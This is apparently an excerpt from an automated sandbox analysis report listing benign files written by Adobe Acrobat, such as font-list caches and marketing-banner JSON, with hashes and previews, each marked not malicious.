')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.775162490582081
Encrypted:	false
SSDEEP:	3:kkFklCLPtfllXlE/HT8kphvNNX8RolJuRdxLlGB9lQRYwpDdt:kKbzeT8yNMa8RdWBwRd
MD5:	BE614B2567C3EA2CEA2D2302DDEDD937
SHA1:	7C243E4B3BA6B3DD5750A790801E2DE20BECE7C0
SHA-256:	B5AA42938470E466E680417EBB30F8FD7E803E338F37741999CCA04D6974C6A0
SHA-512:	846F9B4F756C7988AE7AABB688B245E0C0CC4A6481E77866CB54E1B1189DE919302FD98FAF8A34B9FDA5FD4D95DF9696D44223D0720B11E8105F00A43EE269B4
Malicious:	false
Preview:	p...... .............c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6904

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6904

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.356880559732881
Encrypted:	false
SSDEEP:	6:YEQXJ2HXrBAnn10nZiQ0Yz1JWDoAvJM3g98kUwPeUkwRe9:YvXKX6n10cObWsGMbLUkee9
MD5:	07AEF366FD8A13189C279BD986D7F447
SHA1:	5383B590E609B60077176E4F59D51C3EB969EC3C
SHA-256:	92EEFCD3F52F6A2897C8B4DF8E333E2D0F339C376FC50161D9B724B124FC0F27
SHA-512:	986203651A1C81D30F7C75BD9ACCECA26E21D6994DA09CBC6EC744932535918EE85E837879F10666EB9AAE515078AF7C46F8703480ECDD72321AF74299DB9A58
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e7822dae-91bf-4dbc-b3ae-447ebc9073c4","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736705965189,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.306806849393104
Encrypted:	false
SSDEEP:	6:YEQXJ2HXrBAnn10nZiQ0Yz1JWDoAvJfBoTfXpnrPeUkwRe9:YvXKX6n10cObWsGWTfXcUkee9
MD5:	D17ECC607185710040390D000D6D9217
SHA1:	27C5538BAB5B94B59037022A90DD7F8E6000B550
SHA-256:	D6FDD08FA86E0DBF60090015D4EE61518E5E60194221A3B2EA7E5B8C40700C74
SHA-512:	403EC10FAF33DFA471493AC2DEFBD67DF65975747CC796A22F2162CC6B3F8750856D31AACC2A6195C0FCA577B3142979A3C73DE0C894F9774A24F7D2255E8599
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e7822dae-91bf-4dbc-b3ae-447ebc9073c4","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736705965189,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.285476911817328
Encrypted:	false
SSDEEP:	6:YEQXJ2HXrBAnn10nZiQ0Yz1JWDoAvJfBD2G6UpnrPeUkwRe9:YvXKX6n10cObWsGR22cUkee9
MD5:	0D64CCB1D2B0279B6630DB994C518E19
SHA1:	EEEA9B4952D947AE8046061C2FD76CC11F474BEE
SHA-256:	AD2BECA1F861B58685CACD5B5A04310351C8A4073176293462F6EDC5771C8F28
SHA-512:	1667FA77E095FA9E1DDAF1B53006D1E6568667DF4B9BF06241A604693C736BC2D07716221E27AD3DB4F2CF961ED9203261ACF8068D191078A7F9AC9A0069B553
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e7822dae-91bf-4dbc-b3ae-447ebc9073c4","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736705965189,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.336675667797369
Encrypted:	false
SSDEEP:	6:YEQXJ2HXrBAnn10nZiQ0Yz1JWDoAvJfPmwrPeUkwRe9:YvXKX6n10cObWsGH56Ukee9
MD5:	1328951EDD8A449E35CDAE539B01CE3D
SHA1:	4E0076231356BBEDB6CA6E4565831657499AF522
SHA-256:	9265CDB81824F3F56067425A2D8D4B66D5BAA4D382A2B890A769649934F836BF
SHA-512:	CF7FB2BEC010BDA492CEE811BFE6FBB951F7F9919C5B0E51C96BDD406A6D4CF78927635BA4F66E8013F68D21D836798014A928C609F7BDAF76862594C94E19CA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e7822dae-91bf-4dbc-b3ae-447ebc9073c4","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736705965189,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.685300661669045
Encrypted:	false
SSDEEP:	24:Yv6XobOCJpLgE9cQx8LennAvzBvkn0RCmK8czOCCSu:YvzVJhgy6SAFv5Ah8cv/u
MD5:	C7236AEEA89F2378F365FB4D42E1FF0F
SHA1:	DAAC128B5D95DFD639F3C494C452E76A7956A9BE
SHA-256:	941B3C986099203E8203367B735895F0AA4B87EE428A8A87FE55CE879BFC31A9
SHA-512:	33529F7A160E4674E8A7C8ED8087BEBA4C33440359733DF91D3060B322B0F04BCBF27403723CC6CD48AEC946DD390C041738A75E72C8DF853DB9E1FA367D91E7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e7822dae-91bf-4dbc-b3ae-447ebc9073c4","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736705965189,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.283488712742763
Encrypted:	false
SSDEEP:	6:YEQXJ2HXrBAnn10nZiQ0Yz1JWDoAvJf8dPeUkwRe9:YvXKX6n10cObWsGU8Ukee9
MD5:	ECFE77DC2D22C0E5EB75B1A75FB3E911
SHA1:	58110E3136369488D464DFF9909AC4CC218B8F02
SHA-256:	8E3F6158D15FD06A033CA0CBB4C2FE226CD5A5540B21F1077B02E397E691343F
SHA-512:	8AE497AB78DAA05F2DA60616047F8F7B70DCAF9D50AD0641F58AD06C1FA6BA6A978501BE41AE9C699D0EE81639CDA1A89FE893A4DAAB2227B6AAE5304F62BD11
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e7822dae-91bf-4dbc-b3ae-447ebc9073c4","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736705965189,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.285775815721749
Encrypted:	false
SSDEEP:	6:YEQXJ2HXrBAnn10nZiQ0Yz1JWDoAvJfQ1rPeUkwRe9:YvXKX6n10cObWsGY16Ukee9
MD5:	858074A99F867B60922A31878AE24383
SHA1:	BE9BAD46CCC9E074C722BA887030FE82D3AD7E92
SHA-256:	E29E1CBF283BD6E843FBE5C6A47A4558FC2C3CADA2836E62FDF04D9E360B0873
SHA-512:	2E50E67AC0D27825F2C198133DEBABF90EC91402A4D55C040F00C39A80B9CE79291F9AFF634D3A6A76FBE53262AD1BFB454FE75B3C885A596B78329A061405D3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e7822dae-91bf-4dbc-b3ae-447ebc9073c4","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736705965189,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2944276990071035
Encrypted:	false
SSDEEP:	6:YEQXJ2HXrBAnn10nZiQ0Yz1JWDoAvJfFldPeUkwRe9:YvXKX6n10cObWsGz8Ukee9
MD5:	AEC67F68007FFFA27DF92F316148E277
SHA1:	12C17374C0EB0F8963DA143178E15540C7977B5A
SHA-256:	B970DBCEE0972F88B0B6549A85FDA944302346526924B3132E922D52725C73B5
SHA-512:	15AD375D7E771C43B26FFD2C03D0DCE708AB523FD1F6F26FB9DAFC44C66C60AAA9D627FE7492F453EA9BA2CC40C6667E85F0BF285A1FCD8E48BB5853DDD0700F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e7822dae-91bf-4dbc-b3ae-447ebc9073c4","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736705965189,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.310416959794278
Encrypted:	false
SSDEEP:	6:YEQXJ2HXrBAnn10nZiQ0Yz1JWDoAvJfzdPeUkwRe9:YvXKX6n10cObWsGb8Ukee9
MD5:	128F05ACD1E8DDFC656FDEEBB0C7584F
SHA1:	04E70B4F39D4FFB46C856BA23EA987844EB2F6A5
SHA-256:	A91A304DE5FE75F793DE9957095AC84A42B98483A3B779035DA5C1C6FC16FE4A
SHA-512:	D30066F29AE9A41C1FF6260F48A95CC6863E664ADF990EC4F6E1014FACEFFBE04405A1B56C924CC876B67429813D34884BE135891E3FFD571343EDC6BB9A8DD8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e7822dae-91bf-4dbc-b3ae-447ebc9073c4","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736705965189,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.290874958738396
Encrypted:	false
SSDEEP:	6:YEQXJ2HXrBAnn10nZiQ0Yz1JWDoAvJfYdPeUkwRe9:YvXKX6n10cObWsGg8Ukee9
MD5:	C114BD26585C99B648CBA7D43C39D40C
SHA1:	E2B418603CA8F9A49701D7E1B229AC07431CB53B
SHA-256:	8F5C3F854F61E87C0B70359385C414D4951B21F6D37AC986BD1374EFE9FAA0B0
SHA-512:	36211BDE84CA0BB966082FC68A9455436FCD0EACE101730033FF14422E273529656833F47A15ED02E6498D99DC72D69DACD3C7CE1BF70120B169DB0313227D04
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e7822dae-91bf-4dbc-b3ae-447ebc9073c4","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736705965189,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.277613520416041
Encrypted:	false
SSDEEP:	6:YEQXJ2HXrBAnn10nZiQ0Yz1JWDoAvJf+dPeUkwRe9:YvXKX6n10cObWsG28Ukee9
MD5:	6A0A047F46FF111637D6C88F8C13A3D6
SHA1:	7C978E7356F824A14E5246BD70D8FC5FD461224C
SHA-256:	001B4342C5D7D413D2224A7470899C86DF81303D35E34A982DB870F8814CC4BE
SHA-512:	3B244D5B878AB3AD4A5DEEB12EA61E7331D01B11EC7647D2FC043621B4AFC0B1834DC7CCDCD851C8193D7659606A5165EA3F2CEAC66AA89D907CD62D263CD095
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e7822dae-91bf-4dbc-b3ae-447ebc9073c4","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736705965189,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.274484771472475
Encrypted:	false
SSDEEP:	6:YEQXJ2HXrBAnn10nZiQ0Yz1JWDoAvJfbPtdPeUkwRe9:YvXKX6n10cObWsGDV8Ukee9
MD5:	30C005B49C9475249AC446995FAD76F3
SHA1:	6E933F134494CB4670E5AFA110641E3CBA34649C
SHA-256:	C9AB8E80F8341767DF3763F45281F1B160B3742A673203693498A52C0A5C233A
SHA-512:	78BF6C1546C6963A39FE34CE4190531E8DE34991EE2B4CC296846D702008ECBD82C58B92658FB99D115B3377647BBE8EAE06C10B2DE047F3A51E69F3C45E1341
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e7822dae-91bf-4dbc-b3ae-447ebc9073c4","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736705965189,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.277739787588123
Encrypted:	false
SSDEEP:	6:YEQXJ2HXrBAnn10nZiQ0Yz1JWDoAvJf21rPeUkwRe9:YvXKX6n10cObWsG+16Ukee9
MD5:	3FACBA11790A26CA66AFC3AC0D6CD5C8
SHA1:	6BB1B299FDA80DDE000C449D79D47EFB100D06F0
SHA-256:	601956E86B4BC7D52C45609E25F2BB3EE4EAD5E70994E311BF6EFE121FE0C139
SHA-512:	03D5F3E87545766793E5EA2291FD6CC5DDB17647E24401B9841C3419D9198FC453D371CE2F524800E6FB613F236B9438F09D1534AA8D90FB060A53AB9BC94FA2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e7822dae-91bf-4dbc-b3ae-447ebc9073c4","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736705965189,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.661141425723535
Encrypted:	false
SSDEEP:	24:Yv6XobOC5amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSu:YvzVFBgkDMUJUAh8cvMu
MD5:	470B1562773B4EAF8BE1E482975D4709
SHA1:	30C46F6FD0D09B8DC9916A48A3AE074E892B03E6
SHA-256:	7F2B77573397ED1789BCE4C37DC26F463AE512A047F57B6A4A5AFCFF2AD66DA3
SHA-512:	24DA5F98BFA0C98CA551B7D71327732F40450704EE141AE61BE5A718663E253A32D31D59D4F367D31D64027540C8CE95C22A0E6740423D91075F47C8486D8AA0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e7822dae-91bf-4dbc-b3ae-447ebc9073c4","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736705965189,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.255165142769669
Encrypted:	false
SSDEEP:	6:YEQXJ2HXrBAnn10nZiQ0Yz1JWDoAvJfshHHrPeUkwRe9:YvXKX6n10cObWsGUUUkee9
MD5:	9EF4EBFF435047960A35F3462590A7BB
